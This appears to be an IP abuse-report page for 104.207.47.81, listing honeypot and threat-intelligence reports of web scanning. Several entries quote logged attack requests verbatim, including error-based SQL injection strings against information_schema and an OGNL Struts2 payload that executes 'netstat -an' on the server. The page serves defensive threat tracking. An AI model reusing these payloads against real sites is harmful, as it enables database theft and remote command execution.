This IP address has been reported a total of
155
times from
23 distinct
sources.
104.207.47.81 was first reported on
, and the most recent report was
.
Old Reports:
The most recent abuse report for this IP address is from
. It is possible that this IP is no longer involved in abusive activities.
Honeypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. A ...
show moreHoneypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. Aaran.cloud
show less
ThreatBook Intelligence: http_proxy,Scanner more details on https://threatbook.io/ip/104.207.47.81
2 ...
show moreThreatBook Intelligence: http_proxy,Scanner more details on https://threatbook.io/ip/104.207.47.81
2026-05-15 22:30:45 /portal/pt/erfile/down/bill?pageId=login&id=1%27
2026-05-15 00:08:36 /
show less
IM360 WAF: Block IP which is in the web-spammers RBL MV:RBL lookup of 07-57.104.207.47.81.web-spamme ...
show moreIM360 WAF: Block IP which is in the web-spammers RBL MV:RBL lookup of 07-57.104.207.47.81.web-spammers.v2.rbl.imunify.com._v4 succeeded.
show less
ThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.47.8 ...
show moreThreatBook Intelligence: http_proxy,Dynamic IP more details on https://threatbook.io/ip/104.207.47.81
2026-04-08 19:58:43 /book/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
show less
ThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.81 ...
show moreThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.81
2026-03-09 11:35:30 /shop/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
2026-03-09 13:27:22 /news/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(*),concat(md5(1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
show less
ThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.81 ...
show moreThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.81
2026-03-03 06:49:18 /?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22netstat%20-an%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
show less
ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.47.81
20 ...
show moreThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.47.81
2026-01-09 04:12:48 /index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(SELECT(CASE%20WHEN%201%20THEN%20EXP(5000)%20ELSE%200%20END))%20as%20aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2026-01-09 04:12:47 /index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(SELECT(CASE%20WHEN%200%20THEN%20EXP(5000)%20ELSE%200%20END))%20as%20aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
show less
Web App Attack
Showing 1 to
15
of 155 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩